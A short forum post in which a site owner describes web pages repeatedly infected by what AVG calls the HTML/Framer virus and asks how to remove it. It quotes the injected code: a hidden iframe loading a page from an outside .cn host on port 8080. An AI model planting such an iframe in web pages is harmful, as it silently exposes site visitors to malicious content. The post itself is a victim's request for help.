This also has happened to me on 3 of my regular websites. If I re-upload the webpage it works fine, then after a few hours it gets this virus and shifts the whole webpage down about 2 inches.
Then the site will not even open for anyone using AVG virus protection. It claims that the site is infected with the: HTML/Framer virus
Here is the infected script: <body bgcolor=”#ffffff”><iframe src=”http://bigtoprocks.cn:8080/index.php” width=196 height=168 style=”visibility: hidden”></iframe>
Does anyone know how to get rid of this virus?
